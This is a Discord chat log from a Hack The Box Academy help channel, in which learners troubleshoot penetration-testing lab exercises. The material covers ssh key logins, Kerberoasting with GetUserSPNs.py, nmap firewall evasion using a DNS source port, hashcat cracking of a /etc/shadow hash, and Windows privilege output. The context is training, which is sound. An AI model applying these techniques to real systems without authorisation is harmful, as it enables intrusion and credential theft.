modules

[fathom pendant]

so you'd do
ssh root@ip -p port -i /path/to/file

it doesn't matter that you named/saved the file as plaintext.txt

[steel grail]

i know

[fathom pendant]

what part is breaking down for you then?

[astral inlet]

but its smarter to name them right , later you will have more then 1 ip

[fathom pendant]

^ that too

[steel grail]

why am i saving the key to my desktop?

[fathom pendant]

so you can use it

to ssh as root...

[astral inlet]

@steel grail so you can ssh from your machine to the victim

[fathom pendant]

[astral inlet]

and do chmod stuff etc

on the file

[fathom pendant]

since you saved it on your machine, you have ownership perms over it

so you can chmod it to your heart's content

idk how many times we can repeat the same info to you

[steel grail]

ssh root@94.237.55.163 -p 42029 -i /home/Desktop/plaintext.txt

[fathom pendant]

/home/username/

or ~/Desktop/plaintext.txt

~ is aliased in linux for "/home/$USER"

<@&861185840277487616>

jfc antisemitic bullshit

10/10 news network called "bestnewshere" totally reliable and unbiased

[astral inlet]

wtf ?

[steel grail]

asks me for root password.

let me try one more thing

[astral inlet]

did you copy everthing from the file ?

[fathom pendant]

make sure the file has right perms

if it doesn't it will yell at you first about it then prompt for pw

[steel grail]

root@94.237.53.58's password:

[next bronze]

your file doesn't have the -----BEGIN OPENSSH PRIVATE KEY----- and -----END OPENSSH PRIVATE KEY-----

[steel grail]

ohhh

it needs the hole thing?

[astral inlet]

as i asked 😉

[fathom pendant]

yes

[astral inlet]

yes

[fathom pendant]

that's part of the key to identify it

[hot grove]

yes you actualy need that part, my first ime dealing with sshkey i did the same thing

[astral inlet]

we probably all did 🙂

[fathom pendant]

nah but one of my issues was weirdly my copy/paste shifted some characters around one time

super odd. worked in one text editor but not another

[hot grove]

very interesting

[astral inlet]

is there any other then vim ?

[steel grail]

still asks for a password

[astral inlet]

chmod 600 ?

[steel grail]

1 sec

wont even let me chmod

[astral inlet]

on your own machine ?

[fathom pendant]

copy/paste your command directly as you have it in your command line

don't make any substitutions or anything

remember this excersize is against a public target and you DO need to specify the port

[astral inlet]

and after this do fundamentals 🙂

[fathom pendant]

otherwise it's defaulting to 22

[astral inlet]

and learn how to crawl before running

[fathom pendant]

i learned to bashcrawl before I ran

[steel grail]

ssh root@94.237.53.58 -p 37748 /home/root/Desktop/plaintext.txt

[astral inlet]

nope

missed -i

[steel grail]

Warning: Identity file /home/root/Desktop/plaintext.txt not accessible: No such file or directory.

[fathom pendant]

yes

because the username is YOUR username

if you're using pwnbox it's like htbac-110102 or something like that

[next bronze]

/home/root/ is not a dir

[fathom pendant]

which is why i suggested doing ~/Desktop/plaintext.txt so you didn't have to type/autofill it out

[steel grail]

yall my module doesnt mention anything of this

[fathom pendant]

because this is an assumed fundamental knowledge

[astral inlet]

100% true

[hot grove]

^^^

take notes is very useful lol

[astral inlet]

@steel grail which command to use to know who you are on a machine ?

[steel grail]

Load key "/home/htb-ac-1139337/Desktop/plaintext.txt": bad permissions

[fathom pendant]

ok now you know you need to chmod that file

it'll need to have permissions like rw-|r--|---

or rw-|---|---

[next bronze]

and an example of that is already given in that section, just need to use the right path

[fathom pendant]

^

[steel grail]

I DID IT

😛

└──╼ [★]$ chmod 600 /home/htb-ac-1139337/Desktop/plaintext.txt

ssh root@94.237.53.58 -p 37748 -i /home/htb-ac-1139337/Desktop/plaintext.txt

[next bronze]

[fathom pendant]

gg

now it's as simple as using a cat

[steel grail]

yup got it

i kinda get it now

which is that course i should take?

[next bronze]

you should do linux fundamentals

[steel grail]

ok

[fathom pendant]

linux fundamentals

[steel grail]

ill do that thanks yall

[fathom pendant]

the information security fundamentals skill path is considered a pre-requisite if you're doing the CPTS path

the CPTS path is assuming fundamental and working knowledge of the linux and windows command lines/file structures

i.e. /home/user being analogous to C:\Users\user

or that linux is case sensitive while windows could not care less

[steel grail]

So was saving the key, and then sshing to the ip at the key location basically bypassing the root password ?

[fathom pendant]

the id_rsa file is a different authentication type

it's not so much bypassing password as it's just using a different method

like using a thumbprint or a passcode to unlock your phone

the thumbprint doesn't necessarily bypass the passcode; it's just an alternative method for authentication

[astral inlet]

did i miss anything , got disconnected

[fathom pendant]

he is (g)root

[astral inlet]

nice 🙂 congrats

btw any CPTS in here ?

[next bronze]

no

[near plover]

ok. im new. what should i do now

?? lol

[acoustic owl]

First of all, it's a good idea to read #welcome and #rules

[wild helm]

I'm guessing target spawning is still not working right now?

Been waiting 15 mins already

[next bronze]

still? thought it's fixed

which server

[astral inlet]

refresh page and try again

[steel grail]

Very cool

[cedar void]

Not sure why this command "GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley "
isn't dispalying the TGS hash, even though it does so in the example.

The "KRB_AP_ERR_SKEW(Clock skew too great)" isn't something I could fix . The solutions for this error I looked at seemed to suggest that both client and KDC need to be synced.

[next bronze]

that's correct, sync your clock against the dc, use ntpdate or rdate

[fathom pendant]

that command feels off to me like you copied the second line but it could just be the formatting

[next bronze]

what's up btw

[fathom pendant]

yeah it looks like they are using the linux system that's on the internal network btw which is what's odd

[wild helm]

Is there a way to change the server? I can load the pwnbox instance no problem if that's what you're referring to. The target on the other hand I don't see a way to select a server, and it won't load

I refreshed and logged in and out, frustrating

[next bronze]

don't remember running into that tbh

[next bronze]

eu2 works last I checked

what server are you on?

[wild helm]

I tried US-Academy 1 & 2, just switched to EU2 and clicked on spawn. Hope it works

But I thought this selection was for the VPN server, not the target spawn. Unless they're one in the same

[next bronze]

the target will spawn in the vpn server you selected

[regal sigil]

is it just me or targets are not spawning?

[wild helm]

Not just you @regal sigil

[next bronze]

is eu2 also not working?

[wild helm]

It's been 5 mins already

[languid fjord]

Which servers have you tried @regal sigil ?

[next bronze]

us1 is not spawning, just tired it

[rustic sage]

aren't only pwnboxes spawned in selected region, while targets are not?

[languid fjord]

rgr, informed our te am

[polar skiff]

Servers are bad right ?

[languid fjord]

everything is spawned in the selected regions

[rustic sage]

i see, thanks

[cedar void]

I tried this command ||rdate -s FREIGHTLOGISTICS.LOCAL\sapsso|| and this command ||ntpdate -s FREIGHTLOGISTICS.LOCAL\sapsso||

[polar skiff]

Btw thanks Marcie u help me yesterday 🤙

[next bronze]

oh. uhh I would tell you to reset but it looks like the servers are down. the clocks are supposed to be synced and the attack box doesn't have internet to install those packages

it really do be like that sometimes

[cedar void]

So just way until the internal team fixes the issue

*just wait

[next bronze]

you run it against the server ip btw, not the fqdn\user, but it doesn't matter since it doesn't have thos packages

[next bronze]

unfortunately yes

you can try sudo apt install ntpdate but it probabyl won't work

[astral inlet]

@next bronze sorry for asking did not know what the icon was 😉

[languid fjord]

We are aware of problems regarding spawning/connecting to targets.

Our team is investigating this and we will provide updates/further information when it becomes known.

[wild helm]

I was able to spawn a target finally, with US3

[polar skiff]

But I still having problems, with the vpn I do connect but I can’t reach the spawned target

[astral inlet]

tried pwnbox ?

[short gulch]

Any tips?

[wild helm]

Hi everyone. I'm doing the Intro to AD module and had to create a GPO using the following command

||```Copy-GPO -SourceName "Logon Banner" -TargetName "Security Analysts Control"``||`

But I just keep getting an access denied error

[next bronze]

what section? try running as admin

[wild helm]

Task 3 of the Guided Lab pt 1

Module 74/Section 708

[next bronze]

yeah did you try running powershell as admin?

[wild helm]

🤦‍♂️

Working now, thanks

ID10T error

[vast badger]

hi guys can i reate private ctf for tomorrow?

create*^

[stiff parrot]

dynamic analysis

[molten prawn]

SQLMap Essentials - Skill Assessment.

having an issue bypassing the security. any help would be appreciated

[cedar forum]

hey guys on the getting started module, in the privilege escalation section, how do you get to root?

is it through the /.ssh/authorized_keys thing?

[kindred shard]

hey y'all.. whats your way of documenting an exploit... what do you consider when choosing what to note

[next bronze]

that's quite a vague question, note everything of note. check the documentation & reporting module

[next bronze]

yes, check for a key that might get you in as root

[next bronze]

if I remember right it's the tamper scripts

[cedar forum]

where do i check for that? the root folder only has the flag and idk where to look

[astral inlet]

search for hidden dirs

[molten prawn]

I know . I just don’t know which one to use and I’ve tried a lot.

After 3 hours I’m rage quitting to take a 30 mins break lol

Since that module is “almost” done

[cedar forum]

OOOOOOOOOO, got it

[cedar forum]

thank you so much, im still not used to doing that

[astral inlet]

just use ls -la as much as possible 😉

[rustic sage]

what's -T5 actually do

[deep briar]

i find bug in rock stare

a leid

[pine dagger]

Try googling it

[chilly cosmos]

is it in nmap

[astral inlet]

man nmap

[chilly cosmos]

-T5 is very aggressive scan

[molten prawn]

solved, thanks.

[rustic sage]

thank you

[chilly cosmos]

@rustic sage No problem

[hearty wind]

Hello I'm working through nmap Firewall and IDS/IPS Evason lab. I'm trying to use nmap to scan with a different source IP address and it is not working. target machine IP is 10.129.65.32. Im using the syntax from the example giving

[solar flicker]

#cpts message

[hearty wind]

okay, thx!

[solar flicker]

I didnt mean paste it there

I mean the message it links to

[hearty wind]

ahh okay, I see. well I will try again tommorrow then. thanks for the heads up

[solar flicker]

np :)

[hearty wind]

which path are you doing?

[next bronze]

why are you use -S on an ip that you can't reach? you don't get useful results back that way
https://nmap.org/book/man-bypass-firewalls-ids.html

[solar flicker]

cpts

doing it instead of oscp modules

more in depths tbh

[hearty wind]

was trying to spoof my ip address so it look like it is on the same subnet as the target according to the notes and possibly get a respone back from the port. It must be another method then to solve the challenge

[next bronze]

the response will be sent to that spoofed ip, so you won't receive anything on your end

if it's hard diffculity, try specifying a source port

[hearty wind]

ahh, makes sense! Thank you!

[hearty wind]

agreed, people ask me all the time why I'm taken CPTS, it is extremely difficult lol. I like a challenge and when we complete this, everything else will seem like a breeze

[rustic sage]

Hi can anyone hack one Facebook account

[fathom pendant]

no

[steel grail]

im so lost.... im on the linux thing and its already so complicated

[fathom pendant]

it's really not; though i will concede that the linux fundamental module can seem a bit out of order

[sterile epoch]

I am ad enumeration module initial enumeration section
the task asks the commonname for the host 172.16.5.5
I run a nmap -A scan and get the name but the answer is not correct any tips?

[hearty wind]

Lol take a quick Linux course first on YouTube

[steel grail]

its asking me to find the number of paths for the website

should i ssh into it?

[sterile epoch]

you completed the exam?

[fathom pendant]

no

[next bronze]

that's the certificate authority's common name, not the host's common name, look elsewhere

[steel grail]

Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer.

[fathom pendant]

yes; it's telling you to directly use curl

[steel grail]

i see that

[hearty wind]

No but I have Redhat training so the course is not to hard to grasp. If I didn’t know Linux before then I probably wouldn’t start here

[steel grail]

just gives me a bunch of html. im assume there is another tag ineed

[fathom pendant]

you need to do a bit of trimming and stuff to find it exactly

i'd say try doing some of the other sections first bc after that it'll make sense

[steel grail]

i understand that, im trying to go back to earlier sections and see

[fathom pendant]

linuxfundamentals is just kinda jagged

[west canopy]

@inner elbow please send me a DM whenever you have a moment , thank you 😉

[sterile epoch]

I tried digging into the dns
dig all @172.16.5.5 inlanefreight.local
got 3 answers containing 1 ns
I then try
dig all @172.16.5.5 academy-ea-dc01.inlanefreight.local
and get srvfail

[sterile epoch]

any particular redhat cert?

[fathom pendant]

think what a hostname is... and you're so close lol

[sterile epoch]

yea I tried academy-ea-dc01 that too did not work

[next bronze]

why not try the whole thing

[sterile epoch]

I tried academy-ea-dc01.inlanefreight and inlanefreight.local too the common name is not one of those

[fathom pendant]

did you try adding .local to the end of the first one?

[sterile epoch]

yea

got now

my case was wrong

[fathom pendant]

:D

[sterile epoch]

did it in lower and worked

thanks guys

[hearty wind]

Just Linux+ and Lpic Cert, my job paid for Redhat training but I ain’t take the exam yet RHCSA

[steel grail]

I gave up and looked online. no clue where they got this from ps aux | grep proftpd

[steel grail]

which section should i look at that would help me jog my memory for this? just seemed to kinda jump at me out of nowhere

[gleaming garnet]

Hii

[fathom pendant]

? That has nothing to do with the curl part

[steel grail]

sorry yes thats a different question

[fathom pendant]

Probably regex, and stuff to do with outputs for the curl question

[sterile epoch]

The red hat certs ever go on sale?

[steel grail]

its just linux fundementals dont even think they have taught me regex yet

[fathom pendant]

This is straying from the channel topic

[sterile epoch]

My bad

[fathom pendant]

Regex = regular expressions

[sterile epoch]

https://regexr.com/
Use this always helps me

[steel grail]

bruh....

it literally just exponentially gets hard as heck

[main ridge]

Hi, I'm having a problem with the target not spawning on the "Footprinting - Oracle TNS" module. Already tried from different browsers, deleted cookies, and still not working. Any advices?

[next bronze]

#cpts message

[next bronze]

you don't need to know regex now, but for the other stuff in the module, take your time to understand it

[main ridge]

thank you

[next bronze]

being able to do research and help yourself learn is very important

[steel grail]

i looked online and it said to look at filter contents for the curl question

[next bronze]

correct, the filters that you need are already provided in the section, try to understand the examples and what they do

[steel grail]

i may have gotten ahead of myself. maybe i skipped a module ill be back once i read throuhg everythingf

[fathom pendant]

Nope everything you need for it is in linux Fundamentals

[steel grail]

i mean in linux fundementals

within that course

i may have overlooked one of the modules

[fathom pendant]

Sections*

[steel grail]

😦

[fathom pendant]

Linux Fundamentals is the module name

[steel grail]

i know

im sad cause its hard

grep -Eo "https://.{0,3}.inlanefreight.com[^"']*" | sort -u | wc -l how the heck did they get this??? apparently that is the right soltution?

i need regex for it but the sext section was regex???? make it make sense

[fathom pendant]

. Can be regex for any character .{0,3} means between 0 and 3 characters before the inlanefreight.com portion

There's plenty of online resources for regex

[steel grail]

im just surprised a regex question was before the regex section on linux fundementals

grep -Po "https://www.inlanefreight.com/[^'\"]*" | sort -u | wc -l
was actually the answer

[gentle mirage]

I'm doing the /module/74/section/700 . Can someone tell me where the answer is wrong? academy is always frustrating

[fathom pendant]

What's the actual module name

Module number and section number just makes it more of a pain to look up

[gentle mirage]

INTRODUCTION TO ACTIVE DIRECTORY

Active Directory Structure section

[languid fjord]

did you add a space or something by accident

[fathom pendant]

Try capital A?

Also weird spaces happen

Sometimes refreshing the page works too

[languid fjord]

||authorization|| worked for me

[gentle mirage]

thx i am idiot

[ocean flume]

Yooooo what’s goodie everybodyyyy. Hope yall doin well. I’m attempting to complete windows privesc module and I’m stuck on the miscellaneous section any tips would be much appreciated. Peace and love !

[astral inlet]

this was no easy task , but finally pwnd

[ocean flume]

🔥🔥🔥

[astral inlet]

tell us what is the problem you tried to solve 🙂

[fathom pendant]

Now for its followup, attacking common services

It's a shame imo they don't give some basic enum commands for mssql in footprinting

[astral inlet]

yes and no , so oyu have to work out a bit for yourself

[fathom pendant]

I mean the idea for the related skill lab is to just fuck around

And click on things

[ocean flume]

I’m trying to get VMware files from within the server but nothing seems to be coming up bruv looking for extensions like .vmdk ..vdh .vdhx etc

[ocean flume]

That’s what chat gpt is for now 😭😭

[fathom pendant]

Don't rely on chatgpt

I'm simply stating it's missing some basic enumeration. That's covered in attacking common services

[astral inlet]

if you try this in real world you may have to wait a bit 😉

those files can be large

[ocean flume]

Dude I love when they make you try and methodology not mentioned within the notes but it’s just so time consuming

[fathom pendant]

Again I'm not saying it's bad, it's just a minor flaw

¯_(ツ)_/¯

[astral inlet]

enum is the key

[fathom pendant]

Otherwise it's pretty good for footprinting basics, but if you only have command line access then you're gonna be doing a lot of heavy research

¯_(ツ)_/¯

[ocean flume]

It’s honestly my favorite part of the process

[astral inlet]

mine is priv esc 😄

[ocean flume]

Have you checked out anything on senior web app pentester

[fathom pendant]

Nope

Been busy with other stuff

[ocean flume]

I struggle with that I’m gonna work on it

[astral inlet]

i have the pleasure to work in the field , i struggle every day 🙂

[sturdy otter]

Anyone else has problem starting new Targets? Tried with different browsers but it seems stuck for any module.

[astral inlet]

yes it was a bit "slow" today

[sturdy otter]

mhm, atm its not even starting. Not sure if its me or there is a problem on htb site

[astral inlet]

it was a problem on htb thew whole day

[sturdy otter]

ahh okay got ya

then I will just have to wait ;D

[astral inlet]

sometime refreshing helps

good night and hack the planet 😉

ethically

[placid edge]

tf when you get root before the first flag

in the exam of the modules

lol

[fathom pendant]

@maiden field did you import powerview?

[maiden field]

yeah that was the problem

[hidden trellis]

can anyone please help me with Example 2: XML in ADVANCED DESERIALIZATION ATTACKS. There is a section I don't understand

[inner sand]

can i use fedora linux on the oscp exam ?

as my main driver

[fathom pendant]

well this channel has nothing to do with OSCP

nor does this server

[placid edge]

nice leak

HTB{*} is the format

[cedar void]

OH of COURSE

[cedar void]

I switched to US academy 3 and it started working for me again.

[narrow nebula]

Can anyone help with an NCAT error? It am getting Connection refused message when running the command "sudo nc -nv -p 80 10.129.2.47 31337
" Am i doing this correct?

This is the messge "[★]$ sudo nc -nv -p 22 10.129.2.47 31337
Ncat: Version 7.93 ( https://nmap.org/ncat )
libnsock mksock_bind_addr(): Bind to 0.0.0.0:22 failed (IOD #1): Address already in use (98)
Ncat: Connection refused.
"

[fathom pendant]

do you need to bind to port 80 for this connection?

oh if you're using the pwnbox; that's why

[narrow nebula]

I would think so, Looks like port 80 is open

[narrow nebula]

Yes that is correct.

[fathom pendant]

pwnbox uses port 80 as it's connection to your browser

also port 22 is also in use; ssh is running on the pwnbox

[narrow nebula]

Okay so im a bit confused, i am trying to complete this task "Now our client wants to know if it is possible to find out the version of the running services. Identify the version of service our client was talking about and submit the flag as the answer." Based on previous lessons, I first needed to find open ports, then once i find the open ports, i would need to connect to that port via NCAT and then that should tell me the information i am looking for. Am i doing this correctly based on the information i provided?

[fathom pendant]

you don't need to bind a port to connect to another system

you can just do nc -nv ip target_port

[narrow nebula]

Thank you for everything i will attempt this, And see how it works. More so i am still trying to understand it a bit more. This is my first week in HTB 🙂 Thank you!

[fathom pendant]

in some cases you may need to bind as port 53

but that's not always

[narrow nebula]

So correct me if im wrong, My target port would be considered "80" /" 22"Considering its open correct?

[fathom pendant]

"Identify the service our client was talking about" port 80 correlates to web and 22 is ssh

perhaps they're referring to a different service

what section is this in the network enumeration module?

[narrow nebula]

Firewall and IDS/IPS Evasion - Hard Lab

[fathom pendant]

read the section regarding dns proxying; Syn scan, source-port, all ports are gonna be the clues i give you

but other than that everything you need is in the module

[narrow nebula]

Sounds good, Thank you!

[buoyant escarp]

Yeah the source port is very important

[narrow nebula]

Okay guys i have gotten this far "HTTP/1.1 400 Bad Request
Date: Mon, 22 Jan 2024 06:01:16 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>" I entered the answer 127.0.1.1 however answer was wrong..

[fathom pendant]

start with nmap

[narrow nebula]

Yes Nmap gave me 3 ports total.. 22 OPEN 80 OPEN and 53 FILTERED. So i tried 80 as a target and 53 as source port

[fathom pendant]

did you: 1) reread the dns proxy section 2) adjust your scan accordingly

with --source-port, and -p-

i pointed you directly to the subsection of reading that would lead you to the answer after careful enumeration

[narrow nebula]

I will say i read it and answered and used the information from there to the best of my knowledge

It seems i did not fully understand it properly, So let me try to read again.

[rustic sage]

wouldn’t he need -sV for service version

[fathom pendant]

nmap doesn't always give correct info

and this excersize is to emphasize the manual part after a scan to confirm info as well

[rustic sage]

it only gives what the port speaks

[narrow nebula]

"However, Nmap still gives us a way to specify DNS servers ourselves (--dns-server <ns>,<ns>). This method could be fundamental to us if we are in a demilitarized zone (DMZ). The company's DNS servers are usually more trusted than those from the Internet. So, for example, we could use them to interact with the hosts of the internal network. As another example, we can use TCP port 53 as a source port (--source-port) for our scans. If the administrator uses the firewall to control this port and does not filter IDS/IPS properly, our TCP packets will be trusted and passed through." This seems very important, I am just trying to wrap my head around it.

[fathom pendant]

yes and i've done this excersize and know that you need to use netcat/nc

[fathom pendant]

this goes back to my comment about source port

[lucid sluice]

I know this might be the wrong bord to post this but what the heck im to curious im doing the Linuc Priv Esc from tcm security
but the instructor manage to get Hash-cat to crack the the password from /etc/shadow even thought the operating system added a randomly generated characters call salt into the final hash.
For example the password123 produce 2 =/= values when a salt is added in this case the salt is "Tb/euwmK" witch produces the hash in /etc/shadow $6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0

My hashcat was unable to crack the passwor123 even thought it was included in my rockyou.txt file
how did he make hash-cat take the salt into account?

[placid edge]

the hash is prob wrong

[narrow nebula]

Got it, Let me keep going for a second.

[fathom pendant]

this

[placid edge]

seems like you include a : at the end

just copy the whole line

i got the marcie-stamp

[lucid sluice]

so i jsut did hascat -m 1800 -a 0 hash,txt and pass.txt but only containing the correct password witch is password123
but it doesn't work.

[narrow nebula]

Marci thank you for being so patient with me, Hopefully i am making progress, Based on the information i sent earlier, It looks like the server name is "Ubuntu" here is the command i have entered "sudo nmap 10.129.2.47 -p- -dns-servers Ubuntu --stats-every=5s" However this is still giving the same 2 ports, 80/22. It seems i could be doing this wrong.

[fathom pendant]

nope

[fathom pendant]

"source-ports"

[placid edge]

anyone having issues with spawning machines?

this is taking forevah

[fathom pendant]

1800 isn't bcrypt?

[lucid sluice]

im cracking for sha512crypt $6$, SHA512 (Unix) 2

[narrow nebula]

Oh my god... Something so simple...

[placid edge]

are you setting the hash and wordlist in the correct place?

hashcat -m 1800 hashfile.txt /usr/share/wordlists/rockyou.txt example

[fathom pendant]

that too

[lucid sluice]

This is my command i cp the rockyou file in my current dir so no need for /usr/share/wordlist...

[placid edge]

you dont really need -a

at least i dont really use it. I often test with john as well if it doesnt seem to work

so you could do that or debug it

[autumn pilot]

Is this related to a module at all?

If not, please keep the channel on topic

[narrow nebula]

Thank you for your help Marcie, SO i want to make sure i understand what i did, So we basically used the TCP/UDP port 53 as our "Source-port" to scan the target to find other ports besides 80/22, then used the the 50000 port to be able to connect with NCAT to port 80?

[fathom pendant]

why would you change a working sourceport?

-p just specifies your host system's port

so nc -nv -p [host_port] [target_ip] [target_port]

you found the target port

just use the same source-port for host_port

[narrow nebula]

Well i have the flag now lol, I am just trying to understand what i did

Feels like i just did a bunch of stuff without fully grasping what i just did.

[fathom pendant]

you aren't using the found port to connect to a port

you are using a port to connect to the found port

[narrow nebula]

I see okay. Thats a good way to put that.

[fathom pendant]

normally when you connect to an IP you are connecting with a random port

with the -p option with nc/ncat you are specifying that you are binding to that port on YOUR system

[placid edge]

i hope so lol

[fathom pendant]

you are using that port to communicate with

[fathom pendant]

the linux privesc module allegedly

[fathom pendant]

anyway; your filepath looks like you're doing a THM room; not an HTB learning module

[narrow nebula]

I see now, Now i am following you now. That makes sense, Thank you for your patience and information!

[placid edge]

i cannot start a single machine. stuck at "Target is spawning..."

[fathom pendant]

the reason for sudo is bc i believe the first like 1200 ports or so are "reserved" so you need root permission to unlock them to bind to

[placid edge]

ill guess i have to wait and see later

[fathom pendant]

if you tried without sudo it'd tell you like insufficent permission or something

[narrow nebula]

Thats exactly what i kept getting.

[midnight galleon]

In the Web attacks module http tampering attack when u do the CI thing, I tried all the nine http methods but they are all blocked

[narrow nebula]

This is honestly mind-blowing in a good way, Got a good rush of dopamine, I have Been studying cybersecurity for the Sec + exam and just joined HTB last week to get hands-on practice, But this is some good stuff man. Once again THANK YOU!

[fathom pendant]

Sec+ is just a bunch of theory

the exam is a bunch of mult choice ¯_(ツ)_/¯

[narrow nebula]

That is true, I am actually starting SEC+ then NET+ so kinda doing things backwards, I took sec the 1st time and failed due to some networking questions I did not fully understand, so this helps quite a bit!

[midnight galleon]

Some work but the command is not injected

[buoyant escarp]

Im not at my computer but where u stuck at exactly? Use the OPTIONS verb to see what the backend allows for this endpoint

Are u at assessment?

[midnight galleon]

No
Bypass security filters

[midnight galleon]

Options doesn't show anything which is weird

[placid edge]

why do you have a space in the headers?

[midnight galleon]

don't mind it accidently hit the spacebar before screenshotting

[placid edge]

well if the request is packed properly i would suggest stripping down the headers and see if anything else happends

[midnight galleon]

still,nothing

tried curl,same result

i am more pissed of options not working than the command injection not working

fix the box

[tidal hornet]

can not spawn target T,.T what happen

my issue?

[topaz locust]

you can PM me

[quick crane]

who can help me http/tls attack skill assessment:https://academy.hackthebox.com/module/184/section/1955, when I use padbuster it is no have result

[topaz locust]

I'm in the same place, were you able to get past this?

[misty current]

Yup, you can DM me.

[dusky rivet]

Hello, I have a question about the boxes available. I've been waiting for 15 minutes for my box to spawn so I can move on. Do you know why it's taking so long? Is it a problem?

[buoyant escarp]

Maybe try curl -I with -X OPTIONS

[buoyant escarp]

Yes they are working on it

[buoyant escarp]

Weird, is index.php the page where you need to upload the files to?

[midnight galleon]

yes it is

[autumn pilot]

Hint - keep it simple

[midnight galleon]

tried without it and also same result

[midnight galleon]

literally tried EVERYTHING

[autumn pilot]

Take a break for a few minutes, and in the meantime do something else, when you come back you will see that it was actually simple than you initially thought

[midnight galleon]

this is my forth break, do i have to accept the fact that i am dumb now?

[autumn pilot]

nope

[midnight galleon]

then what

[crude token]

Anyone else having issues spawning target systems? Can't seem to make the system for XSS/Phishing spawn. Tried logging in and out as well.

The API call to start the system seems to return {"success":0,"message":"No active VMs."}. Spawning systems works for other modules.

[midnight galleon]

I literally require sanity check at this point

[crude token]

It's the system for https://academy.hackthebox.com/module/103/section/984 in my case.

The web client keeps hammering the api for a system every 5 seconds. The result seems to be the same every time {"success":0,"message":"No active VMs."}.

[wraith pelican]

Same here. I'm in a Windows module and it doesn't spawn. I tried to refresh and empty cache a few time, it worked once. VPN connection is ok though

[next bronze]

check pinned messages

[wraith pelican]

thanks!

[faint rampart]

Use burpsuite instead, theres a verb that works.
I recall OPTIONS not working too, probably disabled.

[midnight galleon]

used it,used every verb

[clever dew]

Your query should also include one of the other SMB operations already present in the example

[short gulch]

Thank you

[buoyant escarp]

What if the box is buggy and needs a restart

Yeah have issues for few days to spaen

[dusky rivet]

Hello, thanks for the reply, where did you find their communication that they were working on it? Thanks in advance

[next bronze]

pinned messages

[topaz locust]

https://tenor.com/view/fire-gif-10341555270454130792

[buoyant escarp]

#modules message

[dusky rivet]

@next bronze @buoyant escarp Thanks for that.. To be stuck at 95% of the Pen.Test path and to not be able to finish.. I'm going to cry T-T

[buoyant escarp]

Hope u have taken some notes

[dusky rivet]

Ofc, but now I have to answer to questions of each chapter to finaly end and access to CPTS..

[buoyant escarp]

[upper timber]

Hello everyone, has anyone completed the skill assessment in the modul Modern Web Exploitation Techniques? I needed 1 - 2 tips on how to get the passwords for the users admin and htb-stdnt.

[amber breach]

Hi, i've got stucked at YARA & SIGMA FOR SOC ANALYSTS , part: Skills Assessment:
The "C:\Rules\yara\seatbelt.yar" YARA rule aims to detect instances of the "Seatbelt.exe" .NET assembly on disk. Analyze both "C:\Rules\yara\seatbelt.yar" and "C:\Samples\YARASigma\Seatbelt.exe" and specify the appropriate string inside the "$class2" variable so that the rule successfully identifies "C:\Samples\YARASigma\Seatbelt.exe". Answer format: L________r
I have used HxD to see strings and hex values which could be valuable, but eventually it didnt help me, so did the uncompleted yara rule seatbelt.yar
Could someone help me with it?

[ruby whale]

I am trying to complete the path in 43 days, now stuck at 37% as I can't spawn any targets .

[acoustic owl]

wanting to push the path through on the basis of time is, in my view, the wrong approach. It is much more important to understand everything properly.

[ruby whale]

I partially agree with this. It really depends on the person's learning style. For me it's like completing the path, hop onto boxes, get stuck, revisit the material + supplement with other sources. Like learning by failing at each point. I remember much more when I fail.

[ocean flume]

Dude I’ve been taking this course for a year now if you do it within three months your a goat

[ocean flume]

I’ve been trying to understand and I do comprehend but I have the worst memory and test anxiety

[ruby whale]

Also for lazy people like me setting clear goals help.

[acoustic owl]

I'm not saying it can't be done. But you'd rather need more time and have understood everything correctly than stick to the given time frame and then realize at the exam that you still have a lot of gaps

[acoustic owl]

Don't worry, if you don't pass an exam, it doesn't mean that you were bad. It just means that your performance was not yet at the desired level

[ruby whale]

I get this, I plan to only complete the path in the given time frame. But not take the exam immediately. Btw do we have a list of machine we should attempt apart from of TJNull list and Dante Pro lab ?

[next bronze]

doing boxes won't be a noticeable help for the exam

[acoustic owl]

Most modules end with a list of boxes that you can do.

But whether they are helpful is another matter

[ruby whale]

I didn't understand this could you explain ?

[next bronze]

I can’t think of an occasion where I used what I have learned doing a box in the exam. Most of the boxes are out of scope, the exam does not test your ability to carry out some crazy exploit. There are also many things in the exam you don’t encounter when doing boxes, such as it being a networked environment, and post exploit information gathering.

[ocean flume]

You just made me more self conscious

Isn’t the exam similar to the modules tho ? Asking anyone who took cpts

[next bronze]

there's nothing to be self concious about, you don't have to pass on the first try, and not everyone does

[next bronze]

#cpts message

[acoustic owl]

No, the modules each deal with one topic. The exam requires knowledge from all modules.

[ruby whale]

@ocean flume it's fine even if we don't pass on the first try, I guess that why I like the HTBs approach , you get a retake , even if you fail you learn.

[ruby whale]

Thanks.

[ocean flume]

You know what you right bro. Issa learning experience. Failures can be apart of it.

[limber river]

what abt preparing using prolabs ?

[ocean flume]

I just wanna get to that point where I don’t have to consult a write up anymore

[next bronze]

also talked about it in my blog, it can helpful but not necessary, you'll need to be mindful of what's in scope

[ocean flume]

I was thinking about that but I think there’s a couple of insane and hard boxes that give real world feel.

[next bronze]

those aren't "real world"

[limber river]

yeah , ppl just want to feel comfortable before the exam

[ocean flume]

You know what I meant boss

[limber river]

the only way to get the real word experience is to land a job , but you need experience to do that

[ocean flume]

Screw it bro imma just go head first and take the exam as soon as I finish this path

[candid lily]

||PS C:\Users\Public> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
